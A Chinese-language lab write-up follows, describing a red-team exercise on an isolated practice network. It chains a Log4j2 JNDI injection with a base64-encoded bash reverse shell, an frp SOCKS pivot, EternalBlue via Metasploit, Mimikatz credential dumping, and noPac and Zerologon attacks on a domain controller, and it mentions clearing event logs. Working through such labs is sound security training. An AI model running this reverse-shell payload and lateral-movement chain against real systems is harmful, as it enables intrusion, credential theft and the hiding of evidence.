渗透攻击红队靶场二(1)


靶场说明

参考下大佬博客,https://colind0pe.top/

渗透攻击红队靶场二考察点总结
最终flag在域控的C盘根目录

一、漏洞挖掘与利用
Log4j2漏洞(JNDI注入)验证方法
Log4j2-RCE漏洞利用与反弹shell获取
永恒之蓝(MS17-010)漏洞实战应用
域控相关漏洞(CVE-2021-42287、CVE-2021-42278)利用与横向移动
二、渗透工具操作
JNDIExploit工具部署与LDAP/HTTP服务开启
nc工具端口监听与反弹shell接收
Metasploit Framework(msf)模块使用(主机上线、hash dump等)
Python渗透脚本(如sam_the_admin.py)执行与域控攻击
Docker容器相关命令操作与环境验证
三、Payload构造与编码处理
反弹shell命令(bash一句话)编写
Base64编码对payload进行处理
URL编码解决特殊字符导致的payload失效问题
JNDI注入型payload构造(LDAP协议调用格式)
四、容器安全与逃逸测试
Docker容器环境识别方法(文件验证、进程组查看)
runC漏洞逃逸技术尝试与版本兼容性判断
容器特权模式(privileged)检测与逃逸测试
容器内权限分析与提权思路
五、内网渗透核心操作
内网路由配置与主机发现
内网端口扫描与目标信息收集
跨主机权限拓展与横向移动策略
哈希值获取(hash dump)操作
SSH协议远程连接与凭证利用
六、权限维持与痕迹清理
系统日志清理命令(clearev)使用
多类型事件日志(应用程序、安全、系统等)批量清理
渗透痕迹掩盖思路与操作
七、渗透流程与思路
完整渗透流程:信息收集→漏洞挖掘→漏洞利用→提权→内网渗透→横向移动→权限维持→痕迹清理
靶场flag查找与凭证提取思路
多场景下的权限转换与拓展策略

渗透攻击红队内网域渗透靶场 拓扑结构

攻击端

  • 操作角色:渗透攻击红队人员
  • 攻击设备:
    • Windows 10 个人PC
    • Kali Linux VPS

网络区域拓扑

DMZ区域

  • 边界设备:防火墙
  • 核心服务器:Ubuntu-16 服务器
    • 外网IP:192.168.0.x(DHCP分配,桥接模式)
    • 内网IP:10.0.1.6(仅主机模式)
    • 运行环境:Ubuntu Desktop + Log4j2 环境
  • 链路:攻击端 → DMZ区域

个人办公区

  • 终端设备:Windows 7
    • 内网IP 1:10.0.1.7(仅主机模式,连通DMZ区)
    • 内网IP 2:10.0.0.7(仅主机模式,连通域核心区)
  • 链路:DMZ区域 → 个人办公区

域核心机器

  • 域控制器:Windows 2012
    • 内网IP:10.0.0.12(仅主机模式)
  • 通关目标:域控桌面存放 Flag 文件,成功获取即可通关
  • 链路:个人办公区 → 域核心机器

大概的拓扑结构如上,具体IP可能不准确

给了地址
目标地址
192.168.111.20
本机地址
192.168.111.25

我们先来测试是否成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\Windows\System32>ping 192.168.111.20 -n 3

正在 Ping 192.168.111.20 具有 32 字节的数据:
来自 192.168.111.20 的回复: 字节=32 时间<1ms TTL=64
来自 192.168.111.20 的回复: 字节=32 时间<1ms TTL=64
来自 192.168.111.20 的回复: 字节=32 时间<1ms TTL=64

192.168.111.20 的 Ping 统计信息:
数据包: 已发送 = 3,已接收 = 3,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

C:\Windows\System32>

这里可以看到和目的地址的通信是成功的了

美美开始攻击

“我能拿下整个域控,却拿不下她的心”–wuk0Ng

开始扫描端口(直接访问那个网站会发现访问不了)

1
nmap -sC -sV -p- 192.168.111.20

我是用这个nmap的win桌面版,要是有时间可以稍微记下nmap每个命令对应着什么啥的(之前面试看到有考的)

可以看到22和38080端口是有对应的服务的

22的访问不了,但是这个38080可以很明显的看出来是java写的

还有nmap的扫描结果可以看到是38080/tcp open http Apache Tomcat的这么一个服务

本题目是打Log4j2 rce
好了,我们这里再留下问题:后面补一下这个就是tomcat和spring boot页面,一看到应该怎么打,再延申到比如有log4j2这些
这是第二个待解决的问题

我最近打的时候发现我之前最常用的dnslog平台用不了了,我就先用个bp上的吧

然后数据包

1
2
3
4
5
6
7
8
9
10
11
GET / HTTP/1.1
Host: 192.168.111.20:38080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/155.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive


我打着打着发现为啥我访问不了dnslog了,好像是clash的这个tun和系统代理都开的话(我记得之前我是关了系统代理的)就会出现这个http的服务访问出现一些问题

那我肯定还是用dnslog方便很多

但是奥,我反复尝试过了,应该是靶机不出网的问题,带不出dnslog

但是好像这个应该还是能和我的电脑通信吧,我的bp应该有记录呀
但是我哪里有问题,没找到,dnslog和bp试了挺多次没有成功

扫描,可以用kali里面内嵌的一个扫描器,不用dirsearch是因为我在win上的dirsearch扫不出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# dirb http://192.168.111.20:38080/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Oct 15 18:04:41 2026
URL_BASE: http://192.168.111.20:38080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.111.20:38080/ ----
+ http://192.168.111.20:38080/error (CODE:500|SIZE:105)
+ http://192.168.111.20:38080/favicon.ico (CODE:200|SIZE:946)
+ http://192.168.111.20:38080/hello (CODE:405|SIZE:149)

-----------------
END_TIME: Thu Oct 15 18:09:01 2026
DOWNLOADED: 4612 - FOUND: 3

405 状态码的含义
CODE:405 对应的是 HTTP 标准状态码 405 Method Not Allowed,直译是 “请求方法不被允许”。
它的完整语义是:该路径真实存在,但服务器拒绝了当前使用的 GET 方法,只允许使用其他指定的 HTTP 方法

我再试试kali上的这个dirsearch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
dirsearch -u http://192.168.111.20:38080
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.111.20:38080
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /root/reports/http_192.168.111.20_38080/_26-10-15_18-10-25.txt

Target: http://192.168.111.20:38080/

[18:10:25] Starting:
[18:10:32] 400 - 800B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[18:10:32] 400 - 800B - /a%5c.aspx
[18:10:48] 500 - 105B - /error
[18:10:49] 500 - 105B - /error/
[18:10:49] 200 - 946B - /favicon.ico
[18:10:52] 405 - 149B - /hello

扫出来了
然后具体的参数只能尝试爆破了

然后开始打,使用 JNDIExploit 工具启动 LDAP 服务:

1
2
cd /opt/JNDIExploit
java -jar target/JNDIExploit-1.0-SNAPSHOT.jar -i 192.168.111.25

在攻击机上开启 netcat 监听,等待反弹 shell 连接:

1
nc -lvnp 12999

再开一个终端,构造反弹 Shell Payload

1
2
3
4
5
6
7
8
9
10
11
12
原始反弹 Shell 命令
bash -i >& /dev/tcp/192.168.111.25/129990>&1
Base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4yNS8xMjk5OSAwPiYx
URL 编码(编码 + 号)
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjExMS4yNS8xMjk5OSAwPiYx

这样编码的原因是因为我们先尝试第一个会发现不行,然后我们得尝试编码
或者不用下面得curl,直接用BP发包也是可以的

curl http://192.168.111.20:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.111.25:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjExMS4yNS8xMjk5OSAwPiYx}'

这里之前需要完成这个比如叫9027这个ovpn的配置文件,比如我拖到kali桌面(我是这个时候把win的关掉了)

1
openvpn --config /root/Desktop/9027.ovpn

然后就这样连接可以了

可以看到已经拿下了

我们cd进入根目录,然后ls -la
发现文件.dockerenv
可以知道现在的环境是这个docker里面

1
2
3
4
5
6
7
8
9
10
11
12
13
root@f541fdc81032:~# ls
ls
flag.txt
root@f541fdc81032:~# cat /falg.txt
cat /falg.txt
cat: /falg.txt: No such file or directory
root@f541fdc81032:~# cat flag.txt
cat flag.txt
flag{redteam.lab-1}

Congratulations, you got this : saul Saul123
root@f541fdc81032:~#

找到一个账号密码,我们去尝试ssh登陆

1
2
ssh saul@192.168.111.20
Saul123

连接上之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
saul@ubantu:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:7ff:fef3:d2c8 prefixlen 64 scopeid 0x20<link>
ether 02:42:07:f3:d2:c8 txqueuelen 0 (以太网)
RX packets 38608 bytes 6587136 (6.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 40364 bytes 7624819 (7.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.111.20 netmask 255.255.255.0 broadcast 192.168.111.255
inet6 fe80::250:56ff:feb1:58d9 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b1:58:d9 txqueuelen 1000 (以太网)
RX packets 40539 bytes 7760872 (7.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 38795 bytes 7178320 (7.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens38: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.1.6 netmask 255.255.255.0 broadcast 10.0.1.255
inet6 fe80::250:56ff:feb1:6f79 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b1:6f:79 txqueuelen 1000 (以太网)
RX packets 2055 bytes 134439 (134.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4859 bytes 359575 (359.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (本地环回)
RX packets 9235 bytes 735118 (735.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9235 bytes 735118 (735.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

veth20c344f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::601d:19ff:fe25:f22e prefixlen 64 scopeid 0x20<link>
ether 62:1d:19:25:f2:2e txqueuelen 0 (以太网)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 114 bytes 12320 (12.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

veth7d01ad0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::44e6:43ff:fe29:6b43 prefixlen 64 scopeid 0x20<link>
ether 46:e6:43:29:6b:43 txqueuelen 0 (以太网)
RX packets 38608 bytes 7127648 (7.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 40405 bytes 7629131 (7.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

saul@ubantu:~$

  • 靶场暴露主网卡:ens33 → 192.168.111.20
  • 内网横向网段:ens38 → 10.0.1.6
  • Docker 网关:docker0 → 172.17.0.1

写一下for 循环ping一下内网的C断

1
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

这步也可以留着后面做,我们先做frp流量转发

利用已经拿到权限的 Ubuntu 主机作为 frp 客户端,你的 Kali 作为 frp 服务端,通过 frp 建立一条 socks5 代理隧道,把 Ubuntu 所在的内网(10.0.1.0/24 网段)流量转发到 Kali。之后你在 Kali 上配合 proxychains 就能直接扫描、访问内网所有主机,完成横向渗透

1
2
3
4
cd /opt
wget https://github.com/fatedier/frp/releases/download/v0.58.1/frp_0.58.1_linux_amd64.tar.gz
tar -zxvf frp_0.58.1_linux_amd64.tar.gz
cd frp_0.58.1_linux_amd64
  • frps:服务端程序,放在 Kali 上运行
  • frpc:客户端程序,要传到靶机 Ubuntu 上运行

监听

1
2
3
cd /opt/frp_0.58.1_linux_amd64
python3 -m http.server 80

然后新开一个终端,进入frp目录

1
2
3
4
5
cd /opt/frp_0.58.1_linux_amd64
然后
cat > frps.toml << EOF
bindPort = 7000
EOF

最后启动frp服务

1
2
3
./frps -c frps.toml &
或者
./frps -c frps.toml

检查服务是否运行

1
2
ps aux | grep frps
ps aux | grep "http.server"

然后回到SSH机器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
cat > frpc.toml << EOF
serverAddr = "192.168.111.25"
serverPort = 7000

[[proxies]]
name = "socks5_proxy"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"
EOF



saul@ubantu:~$ cat > frpc.toml << EOF
> serverAddr = "192.168.111.25"
> serverPort = 7000
>
> [[proxies]]
> name = "socks5_proxy"
> type = "tcp"
> remotePort = 1080
> [proxies.plugin]
> type = "socks5"
> EOF
saul@ubantu:~$ cat frpc.toml
serverAddr = "192.168.111.25"
serverPort = 7000

[[proxies]]
name = "socks5_proxy"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"
saul@ubantu:~$

然后下载frpc客户端二进制

1
2
3
4
5
6
7
8
9
10
11
12
13
saul@ubantu:~$ wget http://192.168.111.25/frpc
--2026-10-16 04:21:03-- http://192.168.111.25/frpc
正在连接 192.168.111.25:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 14471320 (14M) [application/octet-stream]
正在保存至: “frpc”

frpc 100%[===========================>] 13.80M 3.19MB/s 用时 3.9s

2026-10-16 04:21:07 (3.54 MB/s) - 已保存 “frpc” [14471320/14471320])

saul@ubantu:~$

下好了,给权限

1
chmod +x frpc

启动

1
./frpc -c frpc.toml

这个时候SSH机器

1
2
3
4
5
6
saul@ubantu:~$ ./frpc -c frpc.toml
2026-10-16 04:22:21.591 [I] [sub/root.go:142] start frpc service for config file [frpc.toml]
2026-10-16 04:22:21.591 [I] [client/service.go:294] try to connect to server...
2026-10-16 04:22:21.765 [I] [client/service.go:286] [f51270a39a66c3b7] login to server success, get run id [f51270a39a66c3b7]
2026-10-16 04:22:21.765 [I] [proxy/proxy_manager.go:173] [f51270a39a66c3b7] proxy added: [socks5_proxy]
2026-10-16 04:22:21.830 [I] [client/control.go:168] [f51270a39a66c3b7] [socks5_proxy] start proxy success

我们的kali

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[/opt/frp_0.58.1_linux_amd64]
└─#./frps -c frps.toml

2026-10-15 20:39:31.985 [I] [frps/root.go:105] frps uses config file: frps.toml
2026-10-15 20:39:32.055 [I] [server/service.go:237] frps tcp listen on 0.0.0.0:7000
2026-10-15 20:39:32.055 [I] [frps/root.go:114] frps started successfully
2026-10-15 20:43:26.152 [I] [server/service.go:576] [f51270a39a66c3b7] client login info: ip [192.168.111.20:41684] version [0.58.1] hostname [] os [linux] arch [amd64]
2026-10-15 20:43:26.218 [I] [proxy/tcp.go:82] [f51270a39a66c3b7] [socks5_proxy] tcp proxy listen port [1080]
2026-10-15 20:43:26.218 [I] [server/control.go:399] [f51270a39a66c3b7] new proxy [socks5_proxy] type [tcp] success



可以看到成功了
然后打开MSF

1
2
3
msfconsole
先上再下
setg PROXIES socks5:127.0.0.1:1080

让所有 msf 的 exploit/aux 模块流量走 127.0.0.1:1080

1
2
3
4
5
6
7
msf > getg PROXIES
PROXIES =>
msf > setg PROXIES socks5:127.0.0.1:1080
PROXIES => socks5:127.0.0.1:1080
msf > getg PROXIES
PROXIES => socks5:127.0.0.1:1080
msf >

然后扫一下

1
2
3
4
5
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.1.6
set PORTS 22
set THREADS 1
run

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > set RHOSTS 10.0.1.6
RHOSTS => 10.0.1.6
msf auxiliary(scanner/portscan/tcp) > set PORTS 22
PORTS => 22
msf auxiliary(scanner/portscan/tcp) > set THREADS 1
THREADS => 1
msf auxiliary(scanner/portscan/tcp) > run
[+] 10.0.1.6:22 - 10.0.1.6:22 - TCP OPEN
[*] 10.0.1.6:22 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/portscan/tcp) >

可以看到成功了

我们接下来查找网段内所有IP的其他主机

1
2
3
4
5
use auxiliary/scanner/discovery/tcp_ping
set RHOSTS 10.0.1.0/24
set PORTS 22,80
set THREADS 2
run

也可以再增加常用的一些端口

比如22,80,443,3389,8080,8081,9090等等端口都是可以的

还有就是我们前面提到的,有这个

1
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

在SSH里面执行这个就可以了的

10.0.1.6(当前跳板 Ubuntu 本身)
10.0.1.7(新的目标机器,横向目标!)

然后看另外一台机器开了什么端口

1
2
3
4
5
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.1.7
set PORTS 1-1000
set THREADS 1
run

运行结果

1
2
3
4
5
6
msf auxiliary(scanner/portscan/tcp) > run
[+] 10.0.1.7:22 - 10.0.1.7:139 - TCP OPEN
[+] 10.0.1.7:22 - 10.0.1.7:135 - TCP OPEN
[+] 10.0.1.7:22 - 10.0.1.7:445 - TCP OPEN
[*] 10.0.1.7:22 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

135/139/445 是典型 Windows 机器的 SMB 相关端口!
这是一台 Windows 主机,大概率存在 SMB 漏洞

打MS17-010

1
2
3
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.0.1.7
run

这里不行,因为我们之前指定了其他端口
我们现在要换成其他端口

1
2
3
4
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.1.7
set RPORT 445
run

结果

1
2
3
4
5
6
7
8
9
10
msf auxiliary(scanner/smb/smb_ms17_010) > set RPORT 445
RPORT => 445
msf auxiliary(scanner/smb/smb_ms17_010) > run
[+] 10.0.1.7:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)

/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.25/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.0.1.7:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_ms17_010) >
msf auxiliary(scanner/smb/smb_ms17_010) >

可以看到返回了大概率存在MS17-010
靶场Windows7,payload选x64的meterpreter
这里LHOST要填跳板机的IP:192.168.111.20(因为内网10.0.1.7只能访问同网段
10.0.1.6,不能直接回连你Kali)

1
2
3
4
5
6
7
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.7
set RPORT 445
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.1.6
set LPORT 4444
run

报错了

MSF 全局开启了 socks 代理,reverse_tcp 反弹 payload 默认不允许配合全局代理使用,MSF 担心流量环路。
提示给了解决开关:ReverseAllowProxy true。或者直接改用bind_tcp 正向 payload(推荐,更稳)

我这边选择这个正向连接

1
2
3
4
5
6
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.7
set RPORT 445
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4444
run

回显:6 +0800
[+] 10.0.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >
读音
米特 - 普瑞特

还有这个metasploit,麦特 - 斯普洛伊特

然后sysinfo

1
2
3
4
5
6
7
8
9
10
meterpreter > sysinfo
Computer : WIN7
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : REDTEAM
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >

拿到 Win7 权限后加载 Mimikatz 抓取明文密码

1
2
load mimikatz
creds_all

此时我们得到了一个域用户的账号密码root:Red12345

1
2
3
4
5
6
7
meterpreter > shell
Process 1736 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>

然后

1
2
3
4
5
C:\Windows\system32>set logonserver
set logonserver
�������� logonserver û�ж���

C:\Windows\system32>

拿到主机名
然后再去解析拿到IP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
C:\Windows\system32>set logonserver
set logonserver
�������� logonserver û�ж���

C:\Windows\system32>nslookup REDTEAM.LAB
nslookup REDTEAM.LAB

DNS request timed out.
timeout was 2 seconds.
������: UnKnown
Address: 10.0.0.12

����: REDTEAM.LAB
Address: 10.0.0.12


C:\Windows\system32>
C:\Windows\system32>

我们先退出shell
输入

1
exit

再回到MSF主控制台

1
background

回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
meterpreter > background
[*] Backgrounding session 1...
msf exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WI 127.0.0.1:39451 -> 127.0.
N7 0.1:1080 (10.0.1.7)

msf exploit(windows/smb/ms17_010_eternalblue) >

添加路由

1
route add 10.0.0.0 255.255.255.0 1

然后route查看路由,看到一条 10.0.0.0/255.255.255.0 路由,网关指向 session 1
路由添加成功之后,就可以使用 msf 内置 wmiexec 模块尝试连接域控 10.0.0.12
然后换模块

1
2
3
4
msf exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(windows/smb/psexec) >

然后
但是啊,我发现这个方法打不通这个,拿不下这个域控

msf exploit(windows/smb/psexec) > back
msf >
先back回到这个主控制台

然后先开代理

1
2
3
4
use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 4a
run

还得回来看时间才行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
msf auxiliary(server/socks_proxy) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WI 127.0.0.1:39451 -> 127.0.
N7 0.1:1080 (10.0.1.7)

msf auxiliary(server/socks_proxy) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1528 created.
Channel 7 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>net time \\10.0.0.12
net time \\10.0.0.12
\\10.0.0.12 �ĵ�ǰʱ���� 2026/10/15 21:30:25

�����ɹ����ɡ�


C:\Windows\system32>

然后同步kali的时间,不然kali打不了(我这里是遇到了,不一定都遇到)
然后MSF继续回去监听

然后kali终端

只需要一个域用户即可拿到 DC 权限(CVE-2021-42287 and CVE-2021-42278)
这两个CVE可以看

1
https://mp.weixin.qq.com/s?__biz=MzkzNzMxNDc5Mg==&mid=2247483681&idx=1&sn=5757667e1a2f812244fe17b50ce46c27&chksm=c29011a6f5e798b089099860b7754babafd39154911a64a53669da882df6dec5118cf7942414&scene=21#wechat_redirect

然后把本题目要用的CVE给下载

1
2
git clone https://github.com/WazeHell/sam-the-admin.git
cd sam-the-admin

然后安装依赖

1
pip3 install -r requirements.txt --break-system-packages

然后
proxychains python3 sam_the_admin.py “REDTEAM/root:Red12345” -dc-ip 10.0.0.12 -shell
但是这个怎么有补丁了好像

1
2
3
4
5
6
7
git clone https://github.com/Ridter/noPac.git
cd noPac
pip3 install -r requirements.txt --break-system-packages
proxychains python3 noPac.py redteam.lab/root:Red12345 -dc-ip 10.0.0.12 -use-ldap -shell

cd ~/sam-the-admin/sam-the-admin
proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

理论上上面几个都可以,但是是打了补丁还是什么,我换了好几个都好像有点问题

然后我服了的就是这个反正连接meterpreter总是有很多问题
反正验证漏洞部分很简单,确认了有这个洞就多花时间去尝试吧

还有一种方法,我在公众号看到的,
https://mp.weixin.qq.com/s/_TjDJP9uuDErQlk5Uktm-Q?scene=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
上线Vshell & 搭建第二层代理登录,上传Vshell正向客户端proxychains -q rdesktop -u hack01 -p 1324@cbD 10.0.1.7
upload /home/zss/下载/8033.exe C:\\Windows\\Temp\\8033.exe
内网信息收集上传fscan,信息收集C:\Users\Public>fscan.exe -h 10.0.0.7/24

  ______                   _____  _
 |  ____|                 |  __ \| |
 | |__ ___  ___ __ _ _ __ | |__) | |_   _ ___
 |  __/ __|/ __/ _  |  _ \|  ___/| | | | / __|
 | |  \__ \ (_| (_| | | | | |    | | |_| \__ \
 |_|  |___/\___\__,_|_| |_|_|    |_|\__,_|___/
                     fscan version:1.8.4 TeamdArk5 v1.0
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 10.0.0.7        is alive
(icmp) Target 10.0.0.12       is alive
[*] Icmp alive hosts len is:2
10.0.0.12:88 open
10.0.0.12:445 open
10.0.0.7:445 open
10.0.0.12:139 open
10.0.0.12:135 open
10.0.0.7:139 open
10.0.0.7:135 open
[*] alive ports len is:7
start vulscan
[+] MS17-01010.0.0.7   (Windows 7 Ultimate 7601 Service Pack 1)
[*] NetInfo
[*]10.0.0.7
[->]win7
[->]10.0.1.7
[->]10.0.0.7
[*] NetInfo
[*]10.0.0.12
[->]DC
[->]10.0.0.12
[*] NetBios 10.0.0.7        WIN7                 Windows 7 Ultimate 7601 Service Pack 1
[+] MS17-01010.0.0.12  (Windows Server 2012 R2 Datacenter 9600)
[*] NetBios 10.0.0.12[+] DC:DC.redteam.lab                Windows Server 2012 R2 Datacenter 9600
已完成 7/7
[*] 扫描结束,耗时:6.1083494s
Zerologonproxychains -q python3 AutoZerologon.py 10.0.0.12 -scan
proxychains -q python3 AutoZerologon.py 10.0.0.12 -exp
proxychains -q python3 AutoZerologon.py 10.0.0.12 -shell

我后面学着用下这个什么管理的网站吧

然后最终拿到flag并提交
但是奥,这里的靶机改动地方啥的还是比较多的,我的meterpreter啥的总有问题,我后面会再打下这个靶机然后选一个好点的稳定的方式的


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录